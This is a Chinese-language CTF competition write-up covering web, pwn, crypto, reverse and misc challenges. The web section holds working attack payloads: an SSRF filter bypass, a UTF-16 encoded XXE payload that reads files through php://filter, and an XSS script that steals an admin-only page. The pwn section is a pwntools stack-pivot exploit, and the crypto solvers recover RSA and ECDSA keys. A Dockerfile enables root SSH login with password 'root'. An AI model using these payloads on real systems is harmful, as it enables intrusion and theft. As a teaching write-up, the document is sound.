@app.route('/upload', methods=['GET', 'POST']) def upload(): token = request.cookies.get('token') if not token: flash('Please login first', 'warning') return redirect(url_for('login')) payload = decode_jwt(token) form = UploadForm() if not payload or payload['username'] != 'admin': error_message = 'You do not have permission to access this page.Your username is not admin.' return render_template('upload.html', form=form, error_message=error_message, username=payload['username']) if not session['role'] or session['role'] != 'admin': error_message = 'You do not have permission to access this page.Your role is not admin.' return render_template('upload.html', form=form, error_message=error_message, username=payload['username']) if form.validate_on_submit(): file = form.avatar.data if file: filename = secure_filename(file.filename) files = {'file': (filename, file.stream, file.content_type)} php_service_url = 'http://127.0.0.1/upload.php' response = requests.post(php_service_url, files=files) if response.status_code == 200: flash(response.text, 'success') else: flash('Failed to upload file to PHP service', 'danger') return render_template('upload.html', form=form) @app.route('/view_uploads', methods=['GET', 'POST']) def view_uploads(): token = request.cookies.get('token') form = GameForm() if not token: error_message = 'Please login first' return render_template('view_uploads.html', form=form, error_message=error_message) payload = decode_jwt(token) if not payload: error_message = 'Invalid or expired token. Please login again.' return render_template('view_uploads.html', form=form, error_message=error_message) if not payload['username']=='admin': error_message = 'You do not have permission to access this page.Your username is not admin' return render_template('view_uploads.html', form=form, error_message=error_message) user_input = None if form.validate_on_submit(): filepath = form.user_input.data pathurl = request.form.get('path') if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath): error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath." return render_template('view_uploads.html', form=form, error_message=error_message) params = {'s': filepath} try: response = requests.get("http://"+pathurl, params=params, timeout=1) return render_template('view_uploads.html', form=form, user_input=response.text) except: error_message = "500! Server Error" return render_template('view_uploads.html', form=form, error_message=error_message) return render_template('view_uploads.html', form=form, user_input=user_input)这里面80端口有个php服务,然后/upload路由可以上传文件到uplaods目录下,在view_uploads路由下可以查看,但是存在waf if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):这里必须包含这个域名,而且不能有127.0.0.1,那么这里可以用0.0.0.0来代替127.0.0.1,用ssrf中的跳转来绕过域名限制 POST /view_uploads HTTP/1.1 Host: 0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 211 Origin: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732 Connection: close Referer: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732/view_uploads Cookie: session=eyJjc3JmX3Rva2VuIjoiYmQyNTJlZDZlYTQ5ZmJmOWQyZjJjMmQ0YTBlNjc1YzJhYzlmNmU5MyIsInJvbGUiOiJhZG1pbiJ9.ZyBmXg.eLZ3Z69hYgP6lG3vjiMNsKTLCno; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1 Upgrade-Insecure-Requests: 1 Priority: u=0, i csrf_token=ImJkMjUyZWQ2ZWE0OWZiZjlkMmYyYzJkNGEwZTY3NWMyYWM5ZjZlOTMi.ZyBmag.RCasLc0XUU8ep682nDtSZ5PeqsQ&[email protected]&user_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8&submit=Submit那么可以先随便上传一个文件,然后读取,发现会报Failed to load XML file,猜测会解析xml,直接打xxe,但是过滤了system等许多关键字,那么采用utf-16编码绕过,直接读flag.php文件 <?xml version="1.0" ?> <!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php"> ]> <userInfo> <firstName>John</firstName> <lastName>&example;</lastName> </userInfo>iconv -f utf8 -t utf16 1.xml>3.xml 然后上传3.xml,再去读取,得到flag web2 打开容器一个登录界面,随便输入账号密码可以进到漏洞界面 这里有一个发送给boss的功能,一眼xss 然后访问/flag,需要boss才能访问,这里我们就可以提交一个xss,然后让boss先访问/flag,再把数据带给我们的content里面 <script>var xmlhttp = new XMLHttpRequest(); xmlhttp.withCredentials = true; xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { var flagData = xmlhttp.responseText; var flag1 = btoa(flagData); var remoteServerUrl = '/content/4a95828e3f0037bfe446ae0e693912df'; var xmlhttp2 = new XMLHttpRequest(); xmlhttp2.open("POST", remoteServerUrl, true); xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xmlhttp2.send("content=" + encodeURIComponent(flag1)) } }; xmlhttp.open('GET', '/flag', true); xmlhttp.send();</script> 更新任务后,发送给boss 接着回到页面可以看到flag已经发过来了 PWN PWN2 开始有一个登录的函数,然后只要拿到用户名和密码就可以进入 vuln函数存在两个字节的溢出,还将buf的地址给泄露出来了 还有给了我们后门函数和/bin/sh字符串 完整exp from pwn import * elf = ELF("./short") context(arch=elf.arch, os=elf.os) context.log_level = 'debug' # libc = ELF('./libc.so.6') flag=0 url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn' port=45740 if flag: p = process(elf.path) else: p = remote(url,port) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) it = lambda : p.interactive() uu32 = lambda : u32(p.recvuntil('\xff')[-4:].ljust(4,'\x00')) uu64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) ru = lambda x :p.recvuntil(x) rc = lambda x :p.recv(x) sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s))) sla('Enter your username: ','admin') sla('Enter your password: ','admin123') leave_ret=0x08048555 #: leave ; ret bss=elf.bss(0x300) read=0x0804865A ebp=0x0804884b #: pop ebp ; ret ru('You will input this: ') stack=int(rc(10),16) lg('stack') pay=p32(0x080484A0)+p32(0x0804A038)*2 pay=pay.ljust(0x50,'\x00')+p32(stack)+p32(0x080485FA) # gdb.attach(p,'b *0x08048674\nc') # pause() sa('your msg:\n',pay) # pay='sh\x00\x00'*20+p32(0x080485FA)+p32(read) # sd(pay) # pay= it() CRYPT CRYPTO01 这题目参考领航杯(https://www.cnblogs.com/mumuhhh/p/17789591.html) 然后我们直接sage解密,我们只用替换我们直接的数据就可以 import time time.clock = time.time debug = True strict = False helpful_only = True dimension_min = 7 # 如果晶格达到该尺寸,则停止移除 # 显示有用矢量的统计数据 def helpful_vectors(BB, modulus): nothelpful = 0 for ii in range(BB.dimensions()[0]): if BB[ii,ii] >= modulus: nothelpful += 1 # print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful") # 显示带有 0 和 X 的矩阵 def matrix_overview(BB, bound): for ii in range(BB.dimensions()[0]): a = ('%02d ' % ii) for jj in range(BB.dimensions()[1]): a += '0' if BB[ii,jj] == 0 else 'X' if BB.dimensions()[0] < 60: a += ' ' if BB[ii, ii] >= bound: a += '~' #print (a) # 尝试删除无用的向量 # 从当前 = n-1(最后一个向量)开始 def remove_unhelpful(BB, monomials, bound, current): # 我们从当前 = n-1(最后一个向量)开始 if current == -1 or BB.dimensions()[0] <= dimension_min: return BB # 开始从后面检查 for ii in range(current, -1, -1): # 如果它没有用 if BB[ii, ii] >= bound: affected_vectors = 0 affected_vector_index = 0 # 让我们检查它是否影响其他向量 for jj in range(ii + 1, BB.dimensions()[0]): # 如果另一个向量受到影响: # 我们增加计数 if BB[jj, ii] != 0: affected_vectors += 1 affected_vector_index = jj # 等级:0 # 如果没有其他载体最终受到影响 # 我们删除它 if affected_vectors == 0: #print ("* removing unhelpful vector", ii) BB = BB.delete_columns([ii]) BB = BB.delete_rows([ii]) monomials.pop(ii) BB = remove_unhelpful(BB, monomials, bound, ii-1) return BB # 等级:1 #如果只有一个受到影响,我们会检查 # 如果它正在影响别的向量 elif affected_vectors == 1: affected_deeper = True for kk in range(affected_vector_index + 1, BB.dimensions()[0]): # 如果它影响哪怕一个向量 # 我们放弃这个 if BB[kk, affected_vector_index] != 0: affected_deeper = False # 如果没有其他向量受到影响,则将其删除,并且 # 这个有用的向量不够有用 #与我们无用的相比 if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]): #print ("* removing unhelpful vectors", ii, "and", affected_vector_index) BB = BB.delete_columns([affected_vector_index, ii]) BB = BB.delete_rows([affected_vector_index, ii]) monomials.pop(affected_vector_index) monomials.pop(ii) BB = remove_unhelpful(BB, monomials, bound, ii-1) return BB # nothing happened return BB """ Returns: * 0,0 if it fails * -1,-1 如果 "strict=true",并且行列式不受约束 * x0,y0 the solutions of `pol` """ def boneh_durfee(pol, modulus, mm, tt, XX, YY): """ Boneh and Durfee revisited by Herrmann and May 在以下情况下找到解决方案: * d < N^delta * |x|< e^delta * |y|< e^0.5 每当 delta < 1 - sqrt(2)/2 ~ 0.292 """ # substitution (Herrman and May) PR.<u, x, y> = PolynomialRing(ZZ) #多项式环 Q = PR.quotient(x*y + 1 - u) # u = xy + 1 polZ = Q(pol).lift() UU = XX*YY + 1 # x-移位 gg = [] for kk in range(mm + 1): for ii in range(mm - kk + 1): xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk gg.append(xshift) gg.sort() # 单项式 x 移位列表 monomials = [] for polynomial in gg: for monomial in polynomial.monomials(): #对于多项式中的单项式。单项式(): if monomial not in monomials: # 如果单项不在单项中 monomials.append(monomial) monomials.sort() # y-移位 for jj in range(1, tt + 1): for kk in range(floor(mm/tt) * jj, mm + 1): yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk) yshift = Q(yshift).lift() gg.append(yshift) # substitution # 单项式 y 移位列表 for jj in range(1, tt + 1): for kk in range(floor(mm/tt) * jj, mm + 1): monomials.append(u^kk * y^jj) # 构造格 B nn = len(monomials) BB = Matrix(ZZ, nn) for ii in range(nn): BB[ii, 0] = gg[ii](0, 0, 0) for jj in range(1, ii + 1): if monomials[jj] in gg[ii].monomials(): BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY) #约化格的原型 if helpful_only: # #自动删除 BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1) # 重置维度 nn = BB.dimensions()[0] if nn == 0: print ("failure") return 0,0 # 检查向量是否有帮助 if debug: helpful_vectors(BB, modulus^mm) # 检查行列式是否正确界定 det = BB.det() bound = modulus^(mm*nn) if det >= bound: print ("We do not have det < bound. Solutions might not be found.") print ("Try with highers m and t.") if debug: diff = (log(det) - log(bound)) / log(2) print ("size det(L) - size e^(m*n) = ", floor(diff)) if strict: return -1, -1 else: print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)") # display the lattice basis if debug: matrix_overview(BB, modulus^mm) # LLL if debug: print ("optimizing basis of the lattice via LLL, this can take a long time") #BB = BB.BKZ(block_size=25) BB = BB.LLL() if debug: print ("LLL is done!") # 替换向量 i 和 j ->多项式 1 和 2 if debug: print ("在格中寻找线性无关向量") found_polynomials = False for pol1_idx in range(nn - 1): for pol2_idx in range(pol1_idx + 1, nn): # 对于i and j, 构造两个多项式 PR.<w,z> = PolynomialRing(ZZ) pol1 = pol2 = 0 for jj in range(nn): pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY) pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY) # 结果 PR.<q> = PolynomialRing(ZZ) rr = pol1.resultant(pol2) if rr.is_zero() or rr.monomials() == [1]: continue else: print ("found them, using vectors", pol1_idx, "and", pol2_idx) found_polynomials = True break if found_polynomials: break if not found_polynomials: print ("no independant vectors could be found. This should very rarely happen...") return 0, 0 rr = rr(q, q) # solutions soly = rr.roots() if len(soly) == 0: print ("Your prediction (delta) is too small") return 0, 0 soly = soly[0][0] ss = pol1(q, soly) solx = ss.roots()[0][0] return solx, soly def example(): ############################################ # 随机生成数据 ########################################## #start_time =time.perf_counter start =time.clock() size=512 length_N = 2*size; ss=0 s=70; M=1 # the number of experiments delta = 299/1024 # p = random_prime(2^512,2^511) for i in range(M): # p = random_prime(2^size,None,2^(size-1)) # q = random_prime(2^size,None,2^(size-1)) # if(p<q): # temp=p # p=q # q=temp N = 104769059324906604819374246969389472089736482039584780304698351288134425847574721209477631552050746222528061242850563906415558000954816414452571907898376586538455570846715727736834959625908944488834642926192746728574287181536549647851644625185864257557629579686099455733892320222578364826099212655146530976379 e = 12337109880409970018293646110440488264982341274846829641219533345965373708872641944832903882339212178067485766669515688243675673212167726028183775964215646348775048640061665951311218967384639999950950042290221189659835294938061099700246737365693200129282703765155456889082133763568539014092220899267025682857 c = 31744736423783628269884009616541129531740686983212218114995065554639252322714403985771782435353721009653250709135160293375136413735234647281736871541268953447552855923299477737849706638177219571453513142214997506075291749228813720600113175989090030091204440975462838480365583907951185017109681679559591532826 hint1 = 864467081468962738290 # p高位 hint2 = 939654974954806345061 # q高位 # print ("p真实高",s,"比特:", int(p/2^(512-s))) # print ("q真实高",s,"比特:", int(q/2^(512-s))) # N = p*q; # 解密指数d的指数( 最大0.292) m = 7 # 格大小(越大越好/越慢) t = round(((1-2*delta) * m)) # 来自 Herrmann 和 May 的优化 X = floor(N^delta) # Y = floor(N^(1/2)/2^s) # 如果 p、 q 大小相同,则正确 for l in range(int(hint1),int(hint1)+1): print('\n\n\n l=',l) pM=l; p0=pM*2^(size-s)+2^(size-s)-1; q0=N/p0; qM=int(q0/2^(size-s)) A = N + 1-pM*2^(size-s)-qM*2^(size-s); #A = N+1 P.<x,y> = PolynomialRing(ZZ) pol = 1 + x * (A + y) #构建的方程 # Checking bounds #if debug: #print ("=== 核对数据 ===") #print ("* delta:", delta) #print ("* delta < 0.292", delta < 0.292) #print ("* size of e:", ceil(log(e)/log(2))) # e的bit数 # print ("* size of N:", len(bin(N))) # N的bit数 #print ("* size of N:", ceil(log(N)/log(2))) # N的bit数 #print ("* m:", m, ", t:", t) # boneh_durfee if debug: ##print ("=== running algorithm ===") start_time = time.time() solx, soly = boneh_durfee(pol, e, m, t, X, Y) if solx > 0: #print ("=== solution found ===") if False: print ("x:", solx) print ("y:", soly) d_sol = int(pol(solx, soly) / e) ss=ss+1 print ("=== solution found ===") print ("p的高比特为:",l) print ("q的高比特为:",qM) print ("d=",d_sol) if debug: print("=== %s seconds ===" % (time.time() - start_time)) #break print("ss=",ss) #end=time.process_time end=time.clock() print('Running time: %s Seconds'%(end-start)) if __name__ == "__main__": example() 然后我们就可以拿到d,之后进行解密就可以了 CRYPTO02 我们直接用ai去解析我们的脚本,然后直接生成脚本得到了一段维吉尼亚加密的字符串 import gmpy2 from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes import binascii import gmpy2 import random import binascii from hashlib import sha256 from sympy import nextprime from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Util.number import long_to_bytes n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 r = 80932673752923845218731053671144903633094494351596082125742241568755353762809 s1 = 11239004842544045364097722042148768449026688243093666008376082303522447245154 s2 = 97301123368608673469588981075767011435222146576812290449372049839046298462487 z1 = 84483328065344511722319723339101492661376118616972408250436525496870397932079 z2 = 114907157406602520059145833917511615616817014350278499032611638874752053304591 # Calculate dA s1_minus_s2 = (s1 - s2) % n z1_minus_z2 = (z1 - z2) % n r_inv = gmpy2.invert(r, n) dA = ((s2 * z1 - s1 * z2) * gmpy2.invert(r * (s1 - s2), n)) % n # Calculate key key = sha256(long_to_bytes(dA)).digest() encrypted = 'd8851c55edec1114a6d7a4d6d5efbba4611a39216ec146d2e675194dd0d5f768bee1b09799a133ffda1d283c4f6db475834cbe52c38c88736c94795c137490be' encrypted_bytes = binascii.unhexlify(encrypted) iv = encrypted_bytes[:16] ciphertext = encrypted_bytes[16:] cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(ciphertext) def victory_decrypt(ciphertext, key): key = key.upper() key_length = len(key) plaintext = '' for i, char in enumerate(ciphertext): if char.isalpha(): shift = ord(key[i % key_length]) - ord('A') decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A')) plaintext += decrypted_char else: plaintext += char return plaintext victory_key = "WANGDINGCUP" print(decrypted) 加密步骤如下: 第⼀层维吉尼亚加密,输入flag,密钥:WANGDINGCUP,过程: 对每个字母按照密钥进⾏ 移位加密,输出: 维吉尼亚密文 第⼆层:AES-CBC加密,输入:维吉尼亚密文 密钥: SHA256(ECDSA私钥dA),模式: CBC模式(带IV) ,过程: 对维吉尼亚密文进⾏填充和AES加密,输出: IV + AES密文,ECDSA签名(⽤于⽣ 成AES密钥) ,⽣成私钥dA,使⽤相同的k值对两个消息进⾏签名,输出签名参数: r1, s1, r2, s2, z1,z2,最终输出: AES加密后的⼗六进制字符串,ECDSA签名参数 然后我们再用ai去根据我们的维吉尼亚加密去写一个解密算法 def victory_decrypt(ciphertext, key): key = key.upper() key_length = len(key) plaintext = '' for i, char in enumerate(ciphertext): if char.isalpha(): shift = ord(key[i % key_length]) - ord('A') decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A')) plaintext += decrypted_char else: plaintext += char return plaintext victory_key = "WANGDINGCUP" victory_encrypted_flag = "SDSRDO{27Z8ZEPLGJ040UQX2Q0GLOG70PZ0484L}" flag = victory_decrypt(victory_encrypted_flag, victory_key) print(flag) 最后我们再将所有大写的字母转化为小写就是flag 或者脚本: import binascii from hashlib import sha256 fromCrypto.Cipherimport AES fromCrypto.Util.number import long_to_bytes fromCrypto.Util.Paddingimport unpad import gmpy2 n =0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 r1 =86806104739558095745988469033305523200538774705708894815836887970976487278764 r2 =86806104739558095745988469033305523200538774705708894815836887970976487278764 s1 =93400851884262731807098055393482657423555590196362184363643455285862566867372 s2 =58741027521216057788923508334695668250013849866589902683641825341545919891746 z1 =47591695289461307212638536234394543297527537576682980326526736956079807805586 z2 =97911075901954715147720917205165523174582665086645698292621371632896283314804 k =(z1 - z2)* gmpy2.invert(s1 - s2, n)% n dA =(s1 * k - z1)* gmpy2.invert(r1, n)% n encrypted_flag_hex =u'86cd24e2914c0c4d9b87bea34005a98bd8587d14cae71909b917679d3328304e7915e6ba4cad1096faa4a85bc52f8056d3f21ef09516be8a5160f1b338a6b936' encrypted_flag_bytes = binascii.unhexlify(encrypted_flag_hex) iv = encrypted_flag_bytes[:AES.block_size] encrypted_flag = encrypted_flag_bytes[AES.block_size:] key = sha256(long_to_bytes(dA)).digest() cipher = AES.new(key, AES.MODE_CBC, iv) victory_encrypted_flag = unpad(cipher.decrypt(encrypted_flag), AES.block_size).decode('utf-8') defvictory_decrypt(ciphertext, key): key = key. upper() key_length =len(key) ciphertext = ciphertext. upper() plaintext ='' for i, char inenumerate(ciphertext): if char.isalpha(): shift =ord(key[i % key_length])-ord('A') decrypted_char =chr((ord(char)-ord('A')- shift +26)%26+ord('A')) plaintext += decrypted_char else: plaintext += char return plaintext victory_key ="WANGDINGCUP" flag = victory_decrypt(victory_encrypted_flag, victory_key) print(flag) flag:wdflag{27f8decfdb040abb2d0ddba70ad0484d} REVERSE REVERSE01是⼀个apk文件⽤jadx打开 找到⼀个这个但没发现什么有⽤的信息 ,想着这⼀块提取出来看看 ,先⽤APKIDE打开看看 会发现主要在这⼀块 ,⽤ida打开这⾥ 在这⾥发现⼏个so文件 ,⽽且在其中⼀个发现了类似于SM4算法与标准的有⼀点不⼀样,解密的话 找到密文与key 密文 之后直接解密即可 ,注意key的后半部分是反过来的 REVERSE02 用ida打开文件,查看main主函数,发现flag位40位,且开头是wdflag{,结尾},中间是四重加密,每重加密8位flag部分 第一关,知道v2的8位16进制数,求s1,把s2的值除2转成字符串,得到第一段flag: bf00e556 第二关,知道v22和v11的值,v22和v11求得v12得到第二段flag:0f45aac9 第三关,v21进行了base64加密,要求v17,对v21进行base64解密,这里换了码表,得到第三段flag:c26f0465 第四关,aes加密,这里告诉了key,就是v9,其他都不用看,要对密文v4进行解密,得到第四段flag:b985cb15 wdflag{bf00e5560f45aac9c26f0465b985cb15} MISC 签到知识竞赛,答对8题即可 flag: flag{a236b34b-8040-4ea5-9e1c-97169aa3f43a} MISC01 首先我们发现是一个Diameter协议,上网搜索发现再AVP部分包含了用户的信息 我们过滤Diameter协议(https://www.cnblogs.com/stevensfollower/p/5556443.html) 也是简单看了几篇文章,对diameter也有了个简单的了解,再结合题目描述:某单位网络遭到非法的攻击,安全人员对流量调查取证之后保存了关键证据,发现人员的定位信息存在泄露,哎!捕捉关键词"定位信息"!那这里提示也是很明显了,就是让我们在流量包中找到可疑的定位信息呗!那我们这里直接过滤出了diameter协议来进行分析,发现也没多少条记录 发现存在几条流量,我们一个一个分析,在这天流量中发现了location-information这个单词,就是位置信息的意思 我们依次跟进发现了这个字段,我们直接ai解释一下就是我们要找的位置信息了 802f208f26ae77是一个ECGI值,它通过唯一编码的形式实现对特定小区的全球定位与标识。 然后我们进行行32位md5哈希运算后即可得到flag wdflag{d72937999d564f8d86f2f583569a47d3} Misc02 题目附件给了一个未知后缀的flag文件,strings 查看一下发现是Ubuntu22.04的内存镜像 这里我先尝试了制作vol3的symbols,但是做完后发现也扫不出东西 如何制作vol3的符号文件可以参考我的这篇博客以及这个项目 我这里还是写了一个Dockerfile来制作符号文件 把 linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb 和 dwarf2json-linux-amd64 放 src 目录中即可 ddeb的下载链接:http://launchpadlibrarian.net/733303944/linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb FROM ubuntu:22.04 # 将环境设置为非交互环境 ENV DEBIAN_FRONTEND=noninteractive COPY ./src/ /src/ RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \ && sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \ && apt update --no-install-recommends\ && apt install -y openssh-server gcc-10 dwarfdump build-essential unzip kmod linux-base linux-image-6.5.0-41-generic\ && mkdir /app \ && sed -i 's/\#PermitRootLogin prohibit-password/PermitRootLogin yes/g' /etc/ssh/sshd_config \ && sed -i 's/\#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config \ && echo 'root:root' | chpasswd \ && systemctl enable ssh \ && service ssh start WORKDIR /src # 这里的文件名需要根据系统版本进行修改 COPY ./src/linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb RUN dpkg -i linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb \ && chmod +x dwarf2json-linux-amd64 \ # 下面这里的文件名需要根据系统版本进行修改 && ./dwarf2json-linux-amd64 linux --elf /usr/lib/debug/boot/vmlinux-6.5.0-41-generic > linux-image-6.5.0-41-generic.json CMD ["/bin/bash"]符号文件在Docker中制作好后直接SSH连上容器下载到本地 然后放到 volatility3/volatility3/framework/symbols/linux/ 目录下即可 docker build --tag symbols . docker run -p 2022:22 -it symbols /bin/sh service ssh start 做完符号文件后发现也扫不出东西,因此这道题我这里就直接打算用010手动提取了 首先,我们先用strings看看用户桌面上有什么东西,当然这里也可以直接在010中搜字符串 strings flag | grep Desktop 我们确定了用户名以及桌面的路径,便于我们缩小范围,过滤掉无效的干扰数据 strings flag | grep /home/ccc/Desktop/ 可以看到扫出来了很多非常关键的信息,桌面上有很多张PNG图片,然后还有同名的TXT文件 甚至还有内存镜像的vol3符号文件以及制作符号文件的工具(所以我猜测出题人是故意让我们没办法用vol3进行取证) 然后我们到010中搜索那几张图片的文件名 发现用了base64 xxx.png > xxx.txt这个命令,把图片数据以base64编码的格式保存到同名txt文件中 猜测另外几个文件也是同理,因此我们根据PNG的文件头base64编码后的值:iVBORw0KGgo 在010中可以定位到12个位置 依次查看,发现里面有好多个位置表示的都是同一张图片 手动提取出Hex数据,注意这里建议提取Hex数据,直接提取右边的字符串可能会有问题(可能有不可打印字符) 69 56 42 4F 52 77 30 4B 47 67 6F 41 41 41 41 4E 53 55 68 45 55 67 41 41 41 51 41 41 41 41 45 41 43 41 49 41 41 41 44 54 45 44 38 78 41 41 41 43 76 55 6C 45 51 56 52 34 6E 4F 33 54 4D 51 45 41 49 41 7A 41 4D 4D 43 2F 35 79 46 6A 52 78 4D 46 66 58 70 6E 35 6B 44 56 32 77 36 41 54 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4E 6F 48 71 2B 67 45 2F 51 50 4E 4D 47 49 41 41 41 41 41 53 55 56 4F 52 4B 35 43 59 49 49 3D 